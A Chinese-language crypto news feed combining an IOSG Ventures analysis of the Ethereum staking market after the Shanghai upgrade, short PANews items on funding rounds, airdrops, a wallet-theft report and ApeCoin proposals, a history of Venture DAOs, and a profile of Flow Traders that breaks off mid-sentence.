    来源：IOSG Ventures 编译：Mary Liu，比推BitpushNews  前情提要： 本文讨论了以太坊质押市场的现状，因为以太坊已经转向权益证明 (PoS) 并且完成上海升级。 文章深入探讨两个问题：第一，质押是否会成为赢家通吃（Winner-Take-All）的市场；其次，预期的总质押 ETH 是多少。 目前，ETH质押领域由非托管质押平台 Lido 主导，紧随其后的是 Coinbase、Kraken 和币安等中心化实体。我们预计 Lido 的市场份额将保持在 30-35%的范围内。 总体而言，我们预计上海升级将在中短期内导致新质押量激增，但我们预计与其他 POS 链相比，质押的 ETH 比例将保持适中。 自比特币和区块链的早期以来，就有中心化的中介机构为不同用户提供加密转换服务。只有引入以太坊，才有可能构建非托管 dApp，使用户能够在没有受信任的中间人的情况下交易他们的加密货币。 然而，中心化在包括交易、借贷和基金托管在内的关键应用垂直领域仍然占据主导地位。这种中心化的危险在 2022 年变得非常明显，借贷平台面临争议，最大的交易所之一 FTX 在涉嫌欺诈后宣布破产。 新颖的赛道–NFT–诞生于去中心化协议和可编程区块链，并且曾一度是中心化参与者无法跟上去中心化对手步伐的唯一领域。但随着以太坊转向权益证明 (POS) 以及用户没有本地抵押选项，出现了一个新的竞争赛道：质押池。 Staking 质押是 PoS 区块链的一个重要特征，因为它提供了一种机制来保护网络并激励用户保持其完整性。通过要求用户以质押和可削减代币的形式参与，PoS 网络可以阻止恶意行为并奖励遵守规则和维护网络的用户。 质押池结合了许多不同参与者的资源，共同质押大量代币，从而增加了他们被选中创建新区块的机会。此外，抵押池可以帮助那些没有足够代币单独质押的小规模验证者参与网络并获得奖励。 传统上，质押需要将代币锁定一段时间，这可能会使它们缺乏流动性并为质押者产生机会成本。然而，通过流动性质押，用户可以通过第三方服务提供商/协议来质押他们的 ETH，然后第三方服务提供商/协议分发代表质押 ETH 的流动性代币，该流动性代币可以自由交易或用作抵押品，同时仍可获得质押奖励。 ETH 质押吸引了非托管和托管实体的兴趣。两者竞争的结果可能对以太坊的未来产生重大影响。如果中心化参与者开始主导市场，那将是以太坊去中心化精神的巨大挫折。 如下图所示，非托管质押协议 Lido 目前处于领先地位，占据了 ETH 质押市场份额的 30%。尽管如此，Coinbase、Kraken 和币安等中心化实体的市场占比紧随其后。 累计质押的 ETH； 资料来源: Dune LIDO市场份额；资料来源：Dune 然而，以太坊社区中一些有影响力的代表一直在推动限制 Lido 的增长。例如，Vitalik Buterin 认为，无论是托管还是非托管项目，质押项目都应该自行设定上限，提出 15% 的门槛。 另一方面，一些成员无视社区压力，认为这个市场很容易成为赢家通吃的局面，受流动性、可组合性、网络效应、专业化和收益优化等因素的驱动。但考虑到以太坊社区的价值观和目标以及对更多分布式质押的渴望，领导者将控制多少市场份额的问题不得不引起重视。 虽然 Lido 坚决反对自行施加上限的想法，但他们不太可能垄断市场。相对而言，Lido 的份额应该不会轻易超过 30-35% 这个区间。下面，我们将探讨可能阻止 Lido 成为“赢家通吃”的因素。 虽然预计上海硬分叉会增强对质押垂直领域的信心并鼓励更多储户使用其产品，但升级可能会削弱Lido 的“护城河”。 首先，作为拥有流动性最高的 ETH 代币的市场领导者，Lido 为储户提供了更高的保证，即他们可以在没有大幅折扣的情况下随时退出稳定币或其他资产。 然而，随着近乎即时的取款，这种防御层消失了，因为储户总是可以在几小时/几天内转换回原生 ETH。这可能会导致储户更愿意尝试新颖的设计或选择与 Lido 相比具有其他优势的协议。 此外，中心化玩家可能会提供支持更快提款选项的产品，这可能会影响用户的便利性。 此外，激烈的竞争为最终用户提供了一系列不同的权衡取舍，尚未真正挑战 Lido 的市场主导地位。直到最近，Lido 几乎还是唯一可行的去中心化质押协议。如果没有 Lido，中心化参与者很可能会主导 ETH 质押市场。 然而，今天，Lido 的大多数非托管竞争对手都在成熟，并成为重视去中心化的利益相关者的可能替代方案。此外，虽然 Lido 已经将其大部分代币分配给了不同的利益相关者，但其竞争对手仍可以利用创新的代币设计来吸引 ETH 存款人。然而，虽然代币激励确实可以强大地获得短期吸引力，但稳健的设计选择和用户体验决定了长期的赢家。 此外，Lido 分叉始终是可能的，尽管无法预测其影响。这个分叉对 Lido 的威胁有多大取决于各种因素，例如 LDO 治理决策、时机、分叉的创新（例如在治理层面）以及分叉核心贡献者的合法性。一些社区成员可能正在密切关注新生的 Lido 治理，并等待任何重大错误来创建分叉。 此外，质押市场仍处于初期阶段，可能会出现一波又一波的中断。例如，如果成功，再质押具有破坏性潜力。例如：再质押市场 Eigen Layer 为 ETH 质押者引入了接受额外风险并参与保护不同中间件的选择权，从而提高了他们的资源利用率，并找到了 ETH 质押收益之外的额外收入来源。 虽然 Eigen 可以作为 LSD 的补充，但它也可以直接与质押者交互。由于这些参与者管理自己的硬件并有能力提供中间件，因此更有可能进一步激励单独的 Staking。因此，Eigen 很可能会从现有的 LSD 解决方案中夺取市场份额。 那些认为 LIDO 可以占领整个市场的人，是建立在市场领导者有权获得网络效应的前提下建立这种预期的。下面我们探讨这些影响是否被高估了。 传统观点是： 首先，如前所述，存在机会成本和流动性不足的问题。当无法提款时，LSD 的流动性就成为一个关键因素。但随着近乎即时提款的出现，这种优势在很大程度上被削弱了。尽管如此，Lido 确实利用了上海升级之前的时期来实现与领先的 DeFi 协议的大部分集成，这样 stETH 持有者就可以从 DeFi 的可组合性中受益。 然而，代币持有者真的如此渴望在链上应用程序中使用他们的 ETH 吗？ 看看最近的牛市周期，尽管围绕 DeFi、NFT 和游戏的炒作，以及具有吸引力的流动性挖矿计划，但实际上只有相对较小的一部分 ETH 被用于智能合约，在牛市的高峰期有大约 18.5% 的 ETH 代币用于智能合约。 资料来源：ultrasound.money 鉴于此，合理提出一个疑问：温和的质押收益率是否会将该比例提升到 20% 以上，尤其是过去牛市的高收益率也未能做到这一点之后？ 此外，值得注意的是，并非所有 DeFi 协议都支持像 stETH 这样的 rebase 代币，这导致了 Lido 生态系统中的两个标准——stETH 和 wrapped stETH（后者由于其累积奖励而通常以溢价交易）。在使用一些头部 DeFi 协议（如 MakerDAO、Balancer 和 Euler）时，这会给必须Wrapped和Unwrap stETH 的用户带来摩擦。目前，大多数 stETH 代币只集中在两个协议中，即 Aave 和Curve.fi，进一步限制了代币在 DeFi 领域的潜在影响力。 wrapped stETH 采用stETH 采用 目前 ETH 的质押比例在较大的PoS链中是最低的。有些人倾向于做简单的类比，并期望 ETH 质押量的增长纯粹是因为其他链的质押量要大得多。然而，由于以下原因，以太坊有些特殊： 无法解除质押（这一点目前已经不成立了） 没有需要引入另一层智能合约风险的协议级质押 ETH 作为主流资产的地位和更多元化的社区使其不易受到内部人士大规模质押的影响 我们确实希望上海升级为更大规模的质押创造环境。此外，随着新的智能合约和托管解决方案经过实战检验，安全风险将不再是一个令人担忧的问题。然而，考虑到上面讨论的所有内容，50%+的 ETH 供应可能很快会被锁定在质押合约中的想法似乎是疯狂的。 虽然 Lido 是一个多链协议，但它的基本面本质上与以太坊活动和 ETH 价格相关。Lido 几乎所有的 TVL 都在以太坊上，该平台的收入来自以太坊通货膨胀奖励和交易费用。Lido 收取其平台上产生的 5% 的质押奖励，其中大部分（90%）给 stETH 持有者，其余给节点运营商。 然而，即使以 ETH 计价，Lido 仍然会出现波动，这可能是由于市场重新评估了 Lido 在质押垂直领域的地位以及 LSD 市场的估计规模。这两个因素是Lido未来创收潜力的核心驱动力。 资料来源：CoinGecko 了解 ETH 通货膨胀的动态也很重要，因为它通常占 Lido 收入的大部分。根据Ultra Sound Money的数据，抵押的 ETH 总量增加 1% 会导致基础奖励年化年减少 0.41%。因此，抵押 ETH 的整体增加不一定会导致抵押协议收入的线性增长，除非链上活动大幅增加以补偿基础奖励的减少。 当我们比较市场为 LSD 项目定价的市盈率 (P/S) 与其他一些 DeFi 协议时，市场对垂直流动性质押的兴奋是显而易见的。 例如，比 Rocket Pool 或 Stakewise 等竞争对手更保守的 Lido，其市盈率仍然比“老牌”DeFi 协议 MakerDAO 更诱人，市盈率约为 80，而 Maker 的市盈率为 37。 MakerDAO 不仅仅是一个随机基准，它与垂直质押有相似之处，因为 LSD 本质上是合成资产，类似于 Maker 的 DAI。如果某些 LSD 最终甚至选择发行他们自己的合成稳定币，也就不足为奇了。 Lido在上海升级时间线变得更加清晰的时候，其市盈率得到了显著提升，之后，一方面由于 LDO 价格下降，另一方面由于协议费用增加，其市盈率略有下降。 除非 Lido 或 Maker DAO 开始探索新的叙述或经历任何重大的特殊事件，否则在中期，我们应该期望这两个项目的市盈率会有所收敛。 假设 Lido 的市盈率在短期内收敛到 50，并简化假设 APY 为 5%，为了证明现有价格水平的合理性，Lido 必须将其 TVL 增长约 70%。 随着市场重新评估质押市场的整体规模和个体参与者的定位，新兴的流动性质押行业在未来几个月可能会出现大幅波动。 尽管社区呼吁限制单个验证者池的规模，但我们预计该领域将出现Power-law Distributions(幂律分布)，即只有少数参与者主导市场份额。然而，我们认为这不会导致赢家通吃的市场，我们预计没有任何一家公司能控制超过 35% 的市场份额。 此外，我们怀疑上海升级是否会使质押 ETH 的百分比与其他主要的权益证明链保持一致，并且我们认为 ETH 持有者对质押的兴趣在某种程度上被高估了。 虽然 Lido 享有先发优势，并被广泛认为是持有 ETH 的最安全方式，但它尚未面临来自成熟竞争对手的竞争，这些竞争对手可以利用代币激励来吸引 Lido 的储户。 免责声明：IOSG 是 Stakewise、Swell 和 Eigen Layer 的投资者。  ( 4 min )
    音乐销售平台EVEN完成220万美元种子轮融资，CSA Partners领投
    PANews 4月16日消息，据Global Village Space报道，区块链音乐作品销售平台EVEN宣布完成220万美元种子轮融资，CSA Partners领投，gANGELS、gener8tor、以及Daniel Rotman、Adie Akuffo-Afful等投资人参投。EVEN目前处于测试阶段，允许艺术家直接向粉丝出售音乐作品，让粉丝获得独家音乐内容和体验，每笔交易都将记录在区块链上以提升透明度。 据悉，EVEN平台将自己定位为艺术家在流媒体平台上发布音乐之前的第一站。作为回报，粉丝可以获得独家内容和体验。该平台的首席执行官兼创始人Mag Rodriguez于去年2月开始构建该平台，以帮助黑人和棕色人种艺术家在其创意作品中保留股权。  ( 1 min )
    Coinbase宣布完成Flare (FLR) 空投分发，数量超6亿枚
    PANews 4月16日消息，Coinbase Asset在推特上宣布已完成Flare (FLR) 空投分发，将超过6.01亿枚FLR代币分发给符合条件的用户。 据悉，此次空投是根据2020年12月12日用户持有的XRP余额分发，包括Coinbase交易所和Coinbase Pro账户。 此前消息，Coinbase宣布将上线Flare (FLR)，并支持对符合条件用户进行空投  ( 1 min )
    安全公司Beosin：沈波被盗资金已被攻击者卖出650枚ETH，并转至交易所WhiteBIT
    PANews 4月16日消息，安全公司Beosin监控显示、分布式资本创始合伙人沈波被盗事件的攻击者将650枚ETH兑换成USDT，并发送至中心化交易所WhiteBIT，另外沈波被盗事件的攻击者出售了之前盗取的557,140枚LQTY 代币。 此前消息，分布式资本合伙人沈波表示钱包已被盗，卖出LQTY非其本人操作  ( 1 min )
    为响应Vitalik号召，ApeCoin社区发起为以太坊社区提供100万美元捐赠的提案
    PANews 4月16日消息，为响应Vitalik 2022年曾呼吁Ape资助公共商品的号召，ApeCoin社区发起AIP-230提案，拟为以太坊社区提供100万美元捐赠。包括向ETHGlobal捐赠30万美元，向11场ApeCoin黑客松和至少5项公益活动赞助70万美元。 该提案投票将于4月20日上午9点结束，当前弃权票比例54.63%，反对票41.44%，赞成票3.94%。  ( 1 min )
    Sui开放代币社区访问计划的资格查询与信息收集
    PANews 4月16日消息，Sui已开放代币社区访问计划的资格查询与信息收集。合格的支持者须在2023年2月1日之前一直活跃于Sui Discord，此表格用于为有资格购买代币作为表彰销售一部分的支持者收集基本信息。提交的信息将用于根据该计划规定的标准验证收件人。只有确认的收件人才会收到一封电子邮件以注册交易所。填写此表格并不能保证购买资格分配，同时也不用于交易所的身份验证。 此前消息，公链Sui发布代币社区访问计划  ( 1 min )
    解读Venture DAO发展史：蓄势待发
    作者：Typto，Moloch DAO 成员、MetaCartel 成员、Barbarian DAO 成员、MetaCartel Ventures China 发起者、DAOhaus 投资人、Ceramic 投资人、DAOSquare 发起者。 之所以叫未来简史是因为当我完成这篇文章时我的脑海里一直萦绕着两个感受久久消散不去，1) 所有发生过 (尤其是我经历过) 的这些事件依然如同一个来自未来的梦；2) 熟知过去往往就看清了未来。 我从 18 年开始致力于 DAO 的发展，并专注于 Venture DAO 的相关建设。我几乎经历了除 The DAO 之外所有 Venture DAO 的进程，但迄今为止我依然是一个未成熟的学生，正如整个 Venture DAO 领域当前所处的发展阶段一样。然而当你阅读完这篇文章，你也许会想到一个成语：蓄势待发。 在讲述 Venture DAO 简史之前，有必要先了解一下什么是 Venture DAO。从名称不难发现它是由两个跨时代的事物组成，Venture 和 DAO。让我们逐个理解。 Venture 的完整名称为 Venture Capital (通常所写为 VC)，它是一种投资类别，属于私募投资类别中的风险资本子类。它的历史可以追溯二战以前，不过 Georges Doriot 与其他三位合伙人于 1946 年创立的 American Research and Development Corporation(ARDC) 无疑是风险资本的标志性事件之一 (Georges Doriot 也被后人称之为风险资本之父)。风险资本在工业时代逐步发展成熟并在互联网时代达到繁荣。 在传统私募投资领域，风险资本投资 (通常缩写为风投) 是一种私募股权融资形式。风险投资公司或基金为初创公司提供资金以换取初创公司的股权或所有权股份。非常重要的一点是，风险资本家 (Venture capitalists) 通过承担高风险来换取可能存在的高投资回报率。 一些狭义的解释中，Venture Capital 仅定义为创业企业融资路程中的某一个阶段，例如它并不包括种子基金。但就目前的实际情况而言，广义上的风险资本被更多人接受和采用。因此风险资本几乎出现在了初创企业融资路程中的所有阶段，这些阶段包括： 风险资本的组织结构通常为合伙企业，其中包括普通合伙人 (管理人，负责运营和投资) 和有限合伙人 (出资人)。在一些国家和地区 (例如美国)，风险资本也被允许以有限公司的形式出现。 风险资本的运营通常以每一次基金募集为单位，其基金周期取决于招募书的约定，例如 7+3、5+2 等，即 7 年 (或 5 年) 的时间用于投资，3 年 (或 2 年) 的时间用于退出。 普通合伙人通常为风险资本的投资决策者，他们通过网络关系、研究等途径获取投资标的，并根据各种衡量指标和方法决定是否投资。 风险投资公司通常会向有限合伙人收取一定比例的酬劳和投资收益，例如你经常听到的 2 + 20 (2% 基金管理费 + 20% 超额收益)。 What is needed is an electronic payment system based on cryptographic proof instead of trust… —— 摘自比特币白皮书 我们都知道，Bitcon 构建了 Crypto 的思想奇点，即 “Based on cryptographic proof instead of trust”。但最重要的，也是被很多人忽略的是，Bitcoin 并非一纸空论，而是真实地构建了一个技术解决方案 (基于密码学证明而非信任的电子支付系统) 从而实现了 Crypto 宇宙大爆炸，并让这一思想迅速在不同领域蔓延和衍生。DeFi 正在将它从支付延伸到整个金融系统，而 DAO 则将它放大到了生产关系中。 DeFi 也并非一纸空论，它通过一系列真实的技术解决方案实现其愿景。DAO 同样如此。DAO 的核心并非意识形态，而是如何为新的生产关系提供一种技术驱动力。 那么，DAO 究竟是什么？ DAO 是一种将生产关系协议化的组织或网络。DAO 的意义是通过一种方法 (如技术方法) 帮助那些对某种目的、愿景、文化具有共识的群体 (人类和/或非人类) 构建一种协议化的生产关系，以便参与者可以根据自身的诉求 (财务和/或精神) 无需许可地加入协作，在满足自身诉求的同时创造该组织或网络的价值，并无需许可地拥有和分享该组织或网络所创造的价值。—— 摘自《抛开意识形态, DAO 是什么？》 首先，DAO 是一种组织或者网络，组织意味着更紧密和更具依赖性的人际关系，而网络则倾向于冷连接。但无论是组织还是网络，均是一个基于共同目标和利益的生产群体。 该生产群体基于一系列写入智能合约 (或同类技术) 的规则和机制自动运行，包括生产资料所有权、生产活动的运营和管理、生产活动的决策和执行、利益分配等。参与者可以根据对规则和机制的认同加入或离开，并根据规则和机制无需许可地获取生产收益，甚至该生产群体的所有权。 DAO 并不神秘，它只是一种基于程序运行的生产群体，就像汽车流水线一样。只不过在汽车流水线工作的是机械臂，而在 DAO 工作的是人。机械臂无意识 (暂时)，人则有，因此 DAO 的规则和机制会通过人治而修改，从而进化或腐败。 如果你想继续深入了解有关 DAO 的介绍，推荐阅读《抛开意识形态, DAO 是什么？》。如果你并不打算一头扎进 DAO 的知识海洋，你只需要做三件事：1) 记住 DAO 的核心是技术解决方案；2) 理解 “Based on cryptographic proof instead of trust”；3) 了解什么是生产关系。 那么 DAO 和风险资本结合会是什么？ 首先需要说明的是，Venture DAO 并非对风险资本的颠覆或革新，Venture DAO 是风险资本参与 Crypto 领域的方式和形式之一。因此 Venture DAO 或许应该作为风险资本的一个子类记入百科。 以下是我对 Venture DAO 的定义： 理想中的 Venture DAO 是一个将有关资产所有权、资金运营和管理、投资决策和执行、投资交易的履约、利益分配等事务的规则和机制写入智能合约 (或其他同类技术) 而实现的一种可自动运行且可分权化 (资产所有权和治理权)、去人基信任、去人基许可的风险投资组织。 Venture DAO 是针对一种具体生产场景的生产群体。Venture DAO 希望实现的目标是一种基于密码学证明而非信任运行的风险投资。在风险投资中，涉及信任的事务包括： 这些问题并非目前传统风险投资所面临的绝对性问题，Venture DAO 只是提出了一种新的解决方案。另外，也是很重要的一点，除了信任问题，Venture DAO 可以让这些事务的实施更加高效和简洁。例如一个自动执行的 Vesting Schedule 可以大大减轻被投项目向投资人释放 Token 的工作量。 相比传统风险投资而言，Venture DAO 正在努力通过基于密码学的技术方法为风险投资提供更好的体验，包括： 但同时，目前 Venture DAO 也具有以下局限性： 正如《抛开意识形态, DAO 是什么？》所介绍的，协议分为可执行协议和不可执行协议。以上的讨论均基于可执行协议，即风险投资运营过程中的规则和机制均基于智能合约 (或同类技术) 运行。然而在实践中这并非易事，尤其目前 Venture DAO 基础设施还处于早期发展阶段，因此渐进化是几乎所有 Venture DAOs 必须经历的发展过程。Venture DAOs 需要合理地分配可执行协议和不可执行协议的平衡。而随着 Venture DAO 基础设施的完善，风险投资中更多的环节和步骤将基于可执行协议运行，我们将越来越接近理想中的 Venture DAO。 以上便是 Venture DAO 的简单介绍。在简史部分，你可以尝试带着 Venture DAO 的定义去了解这些组织和事件并验证这一定义，很可能你会有更多修正建议甚至不一样的观点。 Venture DAO 虽然不是一个新兴概念，但迄今为止它依然处于极早期。最早出现在公众视野的 Venture DAO 无疑是 The DAO，而在接下来的几年里陆续出现了另外几个同样具有历史意义的事件：Moloch DAO、DAOHaus、MetaCartel、MetaCartel Ventures 和 CultDAO。它们和 The DAO 一起共同构建了 Venture DAO 自诞生至今日的基本历史脉络。我将基于这一脉络简单介绍 Venture DAO 的历史。 相信大部分人都对 The DAO 有所了解，因为它是迄今为止基金规模最为庞大的 Venture DAO，因为它导致了以太坊最为著名的硬分叉。但或许很多人并不了解 The DAO 作为一个 Venture DAO 是如何运行的。 The DAO 的核心是一个部署在以太坊的，命名为 DAO 的智能合约 (不可篡改的程序)。它通过三个角色以及两个 DAO token (DAO Token 和 Reward Token) 来完成风险投资的所有工作。 这是一个类似开放基金的模型，任何投资人都可以随时加入和退出，未来投资收益权则由 Reward Token 保留。另外，它是一种介于风投基金和众筹之间的基金形态。The DAO 启动之后受到了社区的高度支持且取得了巨大成功，大家甚至开始憧憬 The DAO 即将成为以太坊基金会的 2.0 版本。 但同时有一个关键问题也引起了很多人的讨论：在这种完全开放的运行模式下，DAO token 持有者真的擅长风险投资决策吗？然而由于黑客攻击事件，我们并没有在这个问题上获得更多验证。然而，这并不影响 The DAO 的历史意义。The DAO 开创了一种新的经济组织理念。正如 Seth Bannon 在《The Tao of “The DAO” or: How the autonomous corporation is already here》一文中所说： Because of this, The DAO is a paradigm shift in the very idea of economic organization. It offers complete transparency, total shareholder control, unprecedented flexibility and autonomous governance. 自 The DAO 遭遇黑客攻击而宣布失败之后的几年里，一些 DAO 基础设施开始萌芽发展，包括 Aragon、DAOStacke、Colony、Kleros (以及一些已经销声匿迹的项目)，然而对 Venture DAO 的探索甚至讨论却似乎戛然而止了，直到 2019 年情人节，Ameen 在 ETHDenver 上宣布 Moloch DAO 诞生。 Moloch DAO 不是一个 Venture DAO，而是一个捐赠组织。然而它却对 Venture DAO 的再次崛起奠定了基础。 与 The DAO 类似，Moloch DAO 的诞生同样吸引了众多颇具影响力的参与者，但相比它的豪华成员阵容，更值得关注的是 Moloch 哲学以及基于该哲学的基金运行机制。 Moloch 隐含着一种哲学观点，牺牲与收获，即通过牺牲收获更多 (因此献祭是其重要仪式)，这与中国古代易经中的“舍得”有相似之处。Moloch DAO 将这种哲学运用在了他们的以太坊长期主义实验，即通过牺牲 (捐赠 ETH) 帮助那些对以太坊生态发展具有重要推动作用，但自身可能并不具备商业价值 (或者在一定时间内不具备商业价值) 的公共产品。这些项目、组织或者建设者越繁荣，以太坊生态便会更加繁荣，ETH 的价值将更大，捐赠者所拥有的财富 (ETH) 自然随之升值。 基于这一哲学，Moloch DAO 部署了一个极为简洁的智能合约，其核心逻辑便是 Contribute 和 Request。通过这两个参数的不同组合，Moloch DAO 便可完成所有业务。简单举几个例子： 向 DAO 捐赠并获得治理权 向 DAO 捐赠但放弃治理权 向 DAO 申请捐助 Moloch DAO 不仅资助了大量以太坊生态的项目、组织和建设者 (包括 Ethereum 2.0、Tornado Cash、DAOSquare 等)，它也让社区化资本再次回到大众视野并再次点燃大家对社区化资本的热情。有关 DAO 和 Venture DAO 的讨论和探索也开始在整个以太坊社区蔓延。然而，如果没有以下两个事件，Venture DAO 不会取得如你所见的发展速度。 2019 年，Moloch DAO 诞生不久，一些开发者便开始基于 Moloch 合约尝试为没有技术经验的 DAO 兴趣者构建 0 代码的 DAO 工具，Dekan 便是其中之一。他和几位志同道合的人共同开发了 DAOhaus，相比 Aragon、DAOStack、Colony 这些复杂的 DAO 工具，简单易懂的 Moloch 更容易吸引想要尝试 DAO 的人，因此 DAOhaus 迅速从 DAO 的三驾马车中脱颖而出。通过 DAOhaus，任何人都可以快速部署和运营一个 Moloch DAO 分叉。然而在 DAOhaus 初期，另一个组织对 DAOhaus 的发展起到了关键性作用，它便是 MetaCartel。 MetaCartel 同样诞生于 2019 年，发起者是一位狂热的 DAO 信仰者：Pet3rPan。启动 MetaCartel 源自他对 Moloch DAO 的热情，希望贡献自己的一切能力，但他的口袋并没有 100 ETH (获得 Moloch DAO 成员资格需要贡献 100 ETH)。热心的 Moloch DAO 发起人 Ameen 和另一位核心开发者 James Young 给他出了一个主意：Fork Moloch。于是，MetaCartel 诞生了。 MetaCartel 叛逆、乐观的文化几乎让它一夜成名，同时，10 ETH 的准入资格也让更多人有能力加入到 Moloch 的愿景中，因此，大量志同道合的人开始向 MetaCartel 汇集，Cartel 军团开始壮大。我本人也于 2020 年初加入了 MetaCartel。我记得 Pet3rPan 当时告诉我： “MetaCartel 不是那种精英社区，也不是精英文化的崇拜者，我们每一个人的能力可能都不是特别出众，但是我们团结，如果我们要做一件事，我们所有人都会为之卖命，这就是 MetaCartel”。 我一直将这一句话放在我记忆中最重要的位置，并引导我前行。 MetaCartel 迅速崛起，并开始帮助以太坊应用层的项目、团队和建设者，其中之一便是 DAOhaus。几乎所有 MetaCatel 成员都参与进来帮助 DAOhaus 成长，包括产品构建、筹集资金、宣传等，同时， 越来越多 MetaCartel 所资助的 DAOs 和项目开始采用 DAOhaus 管理资金。在 MetaCartel 的帮助下，DAOhaus 越来越健壮。然而，一次革命性的蜕变正在不远的未来等待 DAOhaus 以及 MetaCartel。 以上便是本篇文章的第一部分内容，在接下来的第二部分里，我将为你介绍 MetaCartel Ventures、Cult.DAO，以及 Venture DAO 今天与未来。  ( 8 min )
    ApeCoin发起成立多语言信息中心的提案
    PANews 4月16日消息，ApeCoin发起新提案AIP-232，拟创建多语言信息中心Apeverse。旨在满足快速发展的Ape生态系统聚合信息传播和社区参与。Apeverse将作为Ape社区联系和协作的平台。该网站将通过允许成员提交相关进展和事件来鼓励成员之间的合作。除了提供官方信息的实时更新外，Apeverse还会跟踪Ape NFTs和Apecoin的动态变化，并提供直观的分析，从数据层面展示生态的进展。该提案投票窗口将于4月20日结束，当前弃权票比例60.85%，反对票35.8%，赞成票3.35%。  ( 1 min )
    数据：“无聊猿”BAYC总交易量突破100万ETH
    PANews  4月16日消息，据OpenSea官方数据显示，“无聊猿”BAYC总交易量已突破100万枚ETH，截至目前为1,002,883 ETH，地板价为54.37 ETH，持有者共计5,698名。  ( 1 min )
    揭秘Flow Traders：隐秘的交易商，日益活跃的加密投资机构
    流动性提供商同时扮演投资机构角色成为趋势，最近做市商DWF Labs频繁投资吸引眼球，此前Jump、Wintermute、GSR、Alameda等交易机构也积极参与项目投资和孵化。而另一家低调的传统交易机构Flow Traders也频繁地出现在项目投资机构的名单中。 Flow Traders是专注于交易所交易产品 ETP 的全球数字流动性提供商，于 2004 年成立在荷兰成立，是欧盟最大的ETF交易公司之一，主要提供股票及衍生品、货币、债券方面的交易服务，还基于比特币和以太坊创建了交易所交易凭证，开展加密货币ETN交易业务。其在荷兰、新加坡、美国、香港、罗马尼亚均设有办事处，于去年拿到了中国的合格境外机构投资者(QFII) 牌照，并获批在上海开设代表处。 Flow Traders自2017年开始从事加密货币交易，其子公司在荷兰央行注册，以实现加密资产和法币之间的兑换。 Flow Traders连接到全球多个头部交易所，交易品类覆盖多个资产类别，并利用这些资产类别来抵消交易风险。尽管加密交易活动仅占该公司整体业务的一小部分，但几年来已对其产生了“积极影响”。 大航海时代，荷兰阿姆斯特丹诞生了世界上最早的证券交易市场，现代金融在此萌芽，因此荷兰的金融市场较为发达。 20多年前，股票交易员Jan van Kuijk和Roger Hodenius在阿姆斯特丹贸易公司Optiver共事。Roger Hodenius因出色的交易记录而享有盛誉，因此他决定自立门户，并与志同道合的Jan van Kuijk合作，于2004年创立了Flow Traders，该公司后来于2015年在Euronext Amsterdam交易所上市。两位交易出身的创始人十分低调，很少见诸报端，在公司上市后早已部分套现并退出公司的具体事务，目前担任非执行董事，但依旧持有 Flow Traders超过20%的股份，仍是大股东。 如今Flow Trader的高管都是来自传统金融和咨询领域。当前公司顾问Dennis Dijkstra于2009年以首席财务官的身份加入Flow Traders，并在2014 年1月首次被任命为联席首席执行官，随后于2019 年5月担任首席执行官。在加入 Flow Traders 之前，Dennis 在原国际“五大”会计师事务所之一的安达信、荷兰NIBC银行等机构担任过多个职位。今年2月1日，Dennis将CEO职责移交给Mike Kuehnel，并以顾问身份留任至 2023年4月底。 Dennis Dijkstra；图右为Mike Kuehnel 现任首席执行官Mike Kuehnel于2021年8月加入Flow Traders，次月被确认为管理委员会成员和首席财务官。Mike 有超过 20 年的投资银行和战略咨询经验。在加入 Flow Traders 之前，Mike曾任贝恩公司的合伙人，领导欧洲、中东、非洲地区的投资银行和金融市场基础设施业务。在此之前，他曾在高盛工作，负责为欧洲银行、保险、资产管理、私人财富和交易所领域的大型股权和并购交易提供咨询服务。 Matt O'Neill 于2022年12月初加入Flow Traders，担任全球企业战略主管和执行委员会成员。Matt负责 Flow Traders 公司战略的持续发展，包括并购、战略合作伙伴关系、大宗经纪战略、投资者关系和风险投资部门 Flow Traders Capital。Matt拥有超过18年的金融市场基础设施开发和投资经验以及大宗经纪服务方面的专业知识。在加入Flow Traders之前，Matt在高盛工作，负责亚太地区的全球市场战略合作伙伴关系和投资。 去年7月，Flow Traders宣布成立专门的风险投资部门FlowTradersCapital，并初始承诺5000万欧元。其以平台、数据和连接性为重点，直接投资于那些有潜力加速增长、提高金融市场透明度并实现金融生态系统可扩展性的创新企业。实际上，在该部门正式成立前，FlowTraders就已在数个加密初创项目的早期阶段提供支持，并在加密交易所ErisX等投资中获得了较丰厚的回报。而除了产生投资回报的潜力外，Flow Traders 还将凭此扩大其对新兴技术的参与，确定市场趋势并探索创造长期战略价值的新商机。 在时任Flow Traders CEO的Dennis Dijkstra眼中，创建Flow Traders Capital对Flow Traders 来说是顺理成章又合乎逻辑的下一步。通过将Flow Traders的金融资本、知识经验及专业能力进行投资，能够接触到新兴生态系统、创新技术，并与现有的业务产生协同效应。 而除了直接予以资金支持，Flow Traders的数字资产部门还可以利用其在传统市场数十年的做市经验，为代币项目和加密货币交易所提供做市建议。其通过 20 多个顶级加密货币交易所的复杂交易算法全天候提供稳定、深度和有竞争力的流动性，并能够为合作伙伴提供量身定制的流动性解决方案。此外，Flow Traders Capital 团队还可以为创始人提供产品设计、资本市场和上市策略方面的知识。 在去年11月FTX崩溃后，Flow Traders表示：“我们稳健而审慎的风险管理方法意味着我们没有受到重大影响。”并称减少了对加密平台的敞口。但Flow Traders仍表示，坚信加密货币和DeFi具有打破传统交易和金融市场的“长期潜力”，认为数字资产的发展已经让市场“在更具吸引力的估值点出现了许多战略投资机会”。 去年以来，Flow Traders开始积极地投资加密项目，截至今年2月，该公司称自己在加密行业的23项投资中投入了2530万欧元。浸淫金融交易市场近20年的Flow Traders所投资的加密标的也基本以DeFi和基础设施为主。 以下是PANews根据公开信息盘点的其部分加密投资组合。 Sei Network Sei Labs由高盛前技术投资银行家Jeff Feng和Robinhood前软件工程师Jay Jog创立，其开发的公链项目Sei Network是第一个为交易而设计的Layer 1区块链，目前仍处于公开测试网络阶段，计划在今年晚些时候推出主网。去年8月，Sei Labs完成500万美元种子轮融资，Multicoin Capital领投，Flow Traders参投；9月，Sei Network推出5000万美元生态基金；今年1月，加密货币交易所MEXC启动2000万美元专项基金，用于支持Sei Network重点项目的发展；今年4月，Sei Labs宣布以8亿美元估值完成 3000 万美元融资，将用于开发与亚太地区市场推广，投资方除Flow Traders外，还有Jump Capital、Multicoin Capital等。 C3 加密交易所C3是一个自我托管的交易所，旨在改变加密货币的市场结构，并提供一个安全、透明和无需信任的交易平台。C3 自我托管设计的主要优势之一是它为用户提供的多功能性。个人可以从涵盖多个区块链的各种非托管钱包进行无缝交易，而机构可以通过他们首选的托管人进行交易。今年2月，C3宣布完成600万美元种子轮融资，对冲基金Two Sigma Investments的风险投资部门领投，Flow Traders、Jump Capital等参投。 Empiric Network 去中心化预言机Empiric 